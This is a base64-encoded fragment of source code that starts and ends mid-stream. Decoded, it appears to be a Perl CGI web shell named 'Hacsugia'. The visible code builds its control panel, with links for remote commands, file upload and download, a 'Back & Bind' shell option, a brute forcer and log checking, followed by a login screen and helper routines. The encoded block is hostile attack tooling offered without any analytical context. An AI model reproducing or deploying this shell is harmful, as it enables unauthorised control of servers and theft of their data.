EtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJbXkgJGRpciA9JEN1cnJlbnREaXI7DQoJJGRpcj1+IHMvXFwvXFxcXC9nOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+DQoNCiRIdG1sTWV0YUhlYWRlcg0KDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KfQ0KdHIgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCnRkIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KY29sb3I6ICMyQkE4RUM7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQoNCnRhYmxlIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzExMTsNCn0NCg0KDQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZjk5MDA7DQp9DQoNCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCg0KY29kZSB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogd2hpbGU7DQp9DQoNCnJ1biB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOw0KY29sb3I6ICNGRjAwQUE7DQp9DQoNCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2FhYTsNCn0NCkE6bGluayB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNmZjk5MDA7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KDQoubGlzdGRpciB0cjpob3ZlcnsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KfQ0KLmxpc3RkaXIgdHI6aG92ZXIgdGR7DQoJYmFja2dyb3VuZDogIzQ0NDsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZTsNCn0NCi5ub3RsaW5lew0KCWJhY2tncm91bmQ6ICMxMTE7DQp9DQoubGluZXsNCgliYWNrZ3JvdW5kOiAjMjIyOw0KfQ0KPC9zdHlsZT4NCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpDQp7DQoJLyp2YXIgYWpheD0nYWpheF9Qb3N0RGF0YSgiRm9ybVBlcm1zXycraSsnIiwiJFNjcmlwdExvY2F0aW9uIiwiUmVzcG9uc2VEYXRhIik7IHJldHVybiBmYWxzZTsnOyovDQoJdmFyIGFqYXg9IiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpDQp7DQoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7DQp9DQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCgl2YXIgYWpheD0iIjsNCglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsNCgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCglpZihmPT0nZicpDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mj4NCgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4NCgk8L3RkPg0KDQoJPHRkPg0KDQoJCTxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPiRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9PC9mb250Pg0KCTwvdGQ+DQoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0iI2JiMDAwMCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9IiNiYjAwMDAiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+DQoJPC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjMiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5HVUk8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwNCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPg0KDQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KDQoJcHJpbnQgPDxFTkQ7DQo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7DQogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7DQogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLg0KICAgIHJldHVybjsNCiAgfQ0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50Ow0KICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsNCiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7DQogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOw0KICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0Ow0KICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7DQogIHRoaXMuY3VycmVudFRleHQgPSAiIjsNCiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsNCiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOw0KICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOw0KICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICB0aGlzLnRhZ0J1ZmZlciA9ICIiOw0KICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsNCn0NClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7DQpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7DQpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgew0KICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOw0KfQ0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7DQogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOw0KICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgew0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuDQogICAgcmV0dXJuOw0KICB9DQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsNCi8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4NCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7DQogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsNCiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsNCiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSB7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgIH0NCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsNCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7DQogICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsNCiAgfSBlbHNlIHsNCgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQoJdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsNCiAgfQ0KfQ0KPC9zY3JpcHQ+DQo8L3ByZT4NCg0KPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsiPkNvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhIDwvZm9udD48YnI+PGJyPg0KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+DQo8dGJvZHk+PHRyPg0KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBDaGVja2luZyBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPg0KDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KDQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+DQo8L3RyPg0KPC90Ym9keT48L3RhYmxlPg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NCg0KUGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmF